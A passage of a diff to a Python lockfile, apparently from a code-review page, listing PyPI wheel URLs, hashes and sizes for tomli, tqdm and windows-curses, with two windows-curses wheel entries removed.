{ url = "https://files.pythonhosted.org/packages/83/7a/d34f422a021d62420b78f5c538e5b102f62bea616d1d75a13f0a88acb04a/tomli-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd", size = 95265, upload-time = "2026-03-25T20:21:41.219Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/3c/fb/9a5c8d27dbab540869f7c1f8eb0abb3244189ce780ba9cd73f3770662072/tomli-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf", size = 155726, upload-time = "2026-03-25T20:21:42.23Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/62/05/d2f816630cc771ad836af54f5001f47a6f611d2d39535364f148b6a92d6b/tomli-2.4.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a120733b01c45e9a0c34aeef92bf0cf1d56cfe81ed9d47d562f9ed591a9828ac", size = 149859, upload-time = "2026-03-25T20:21:43.386Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ce/48/66341bdb858ad9bd0ceab5a86f90eddab127cf8b046418009f2125630ecb/tomli-2.4.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662", size = 244713, upload-time = "2026-03-25T20:21:44.474Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/df/6d/c5fad00d82b3c7a3ab6189bd4b10e60466f22cfe8a08a9394185c8a8111c/tomli-2.4.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853", size = 252084, upload-time = "2026-03-25T20:21:45.62Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/00/71/3a69e86f3eafe8c7a59d008d245888051005bd657760e96d5fbfb0b740c2/tomli-2.4.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15", size = 247973, upload-time = "2026-03-25T20:21:46.937Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/67/50/361e986652847fec4bd5e4a0208752fbe64689c603c7ae5ea7cb16b1c0ca/tomli-2.4.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ede3e6487c5ef5d28634ba3f31f989030ad6af71edfb0055cbbd14189ff240ba", size = 256223, upload-time = "2026-03-25T20:21:48.467Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8c/9a/b4173689a9203472e5467217e0154b00e260621caa227b6fa01feab16998/tomli-2.4.1-cp314-cp314-win32.whl", hash = "sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6", size = 98973, upload-time = "2026-03-25T20:21:49.526Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/14/58/640ac93bf230cd27d002462c9af0d837779f8773bc03dee06b5835208214/tomli-2.4.1-cp314-cp314-win_amd64.whl", hash = "sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7", size = 109082, upload-time = "2026-03-25T20:21:50.506Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d5/2f/702d5e05b227401c1068f0d386d79a589bb12bf64c3d2c72ce0631e3bc49/tomli-2.4.1-cp314-cp314-win_arm64.whl", hash = "sha256:b8c198f8c1805dc42708689ed6864951fd2494f924149d3e4bce7710f8eb5232", size = 96490, upload-time = "2026-03-25T20:21:51.474Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/45/4b/b877b05c8ba62927d9865dd980e34a755de541eb65fffba52b4cc495d4d2/tomli-2.4.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:d4d8fe59808a54658fcc0160ecfb1b30f9089906c50b23bcb4c69eddc19ec2b4", size = 164263, upload-time = "2026-03-25T20:21:52.543Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/24/79/6ab420d37a270b89f7195dec5448f79400d9e9c1826df982f3f8e97b24fd/tomli-2.4.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c", size = 160736, upload-time = "2026-03-25T20:21:53.674Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/02/e0/3630057d8eb170310785723ed5adcdfb7d50cb7e6455f85ba8a3deed642b/tomli-2.4.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d", size = 270717, upload-time = "2026-03-25T20:21:55.129Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7a/b4/1613716072e544d1a7891f548d8f9ec6ce2faf42ca65acae01d76ea06bb0/tomli-2.4.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41", size = 278461, upload-time = "2026-03-25T20:21:56.228Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/05/38/30f541baf6a3f6df77b3df16b01ba319221389e2da59427e221ef417ac0c/tomli-2.4.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c", size = 274855, upload-time = "2026-03-25T20:21:57.653Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/77/a3/ec9dd4fd2c38e98de34223b995a3b34813e6bdadf86c75314c928350ed14/tomli-2.4.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f", size = 283144, upload-time = "2026-03-25T20:21:59.089Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ef/be/605a6261cac79fba2ec0c9827e986e00323a1945700969b8ee0b30d85453/tomli-2.4.1-cp314-cp314t-win32.whl", hash = "sha256:b1d22e6e9387bf4739fbe23bfa80e93f6b0373a7f1b96c6227c32bef95a4d7a8", size = 108683, upload-time = "2026-03-25T20:22:00.214Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/12/64/da524626d3b9cc40c168a13da8335fe1c51be12c0a63685cc6db7308daae/tomli-2.4.1-cp314-cp314t-win_amd64.whl", hash = "sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26", size = 121196, upload-time = "2026-03-25T20:22:01.169Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/5a/cd/e80b62269fc78fc36c9af5a6b89c835baa8af28ff5ad28c7028d60860320/tomli-2.4.1-cp314-cp314t-win_arm64.whl", hash = "sha256:eab21f45c7f66c13f2a9e0e1535309cee140182a9cdae1e041d02e47291e8396", size = 100393, upload-time = "2026-03-25T20:22:02.137Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7b/61/cceae43728b7de99d9b847560c262873a1f6c98202171fd5ed62640b494b/tomli-2.4.1-py3-none-any.whl", hash = "sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe", size = 14583, upload-time = "2026-03-25T20:22:03.012Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tqdm"
|
||||
version = "4.70.0"
|
||||
@@ -2392,8 +2210,6 @@ name = "windows-curses"
|
||||
version = "2.4.2"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/d1/6c/21393045010dd74887c71f1738f2bb1e60758c04d74cc97cefc03731a6d6/windows_curses-2.4.2-cp310-cp310-win32.whl", hash = "sha256:fb55b40df1dd8633f431307f204293ca2a0b4f928927490509f1bf68beef3cfe", size = 71143, upload-time = "2026-03-31T12:44:33.2Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/1c/aa/4a67a104ab4d6ac4d5d5f8f80363feec688d7846180c5ca69327f602196a/windows_curses-2.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:0ff2a0884cb78d48e15eea1e274f73c1f5a780a4b872357724c17b39de75c996", size = 81848, upload-time = "2026-03-31T12:44:34.869Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d1/58/5fd430fec0ebe1cef88ddccba345ca119f1b44e58f58d6998878a01c9973/windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864", size = 71135, upload-time = "2026-03-31T12:44:35.863Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/84/62/e2bae0ab9c5c80dca9a708a4cb9c8afaf0ef61c8d4459b57f96785040831/windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333", size = 81863, upload-time = "2026-03-31T12:44:36.834Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/2e/9c/b2a3706c8edadae8ae88b327ba072d6056ad1b492f9996214cff027e9f01/windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156", size = 71547, upload-time = "2026-03-31T12:44:37.797Z" },
|
||||
|
||||
Reference in new issue
Block a user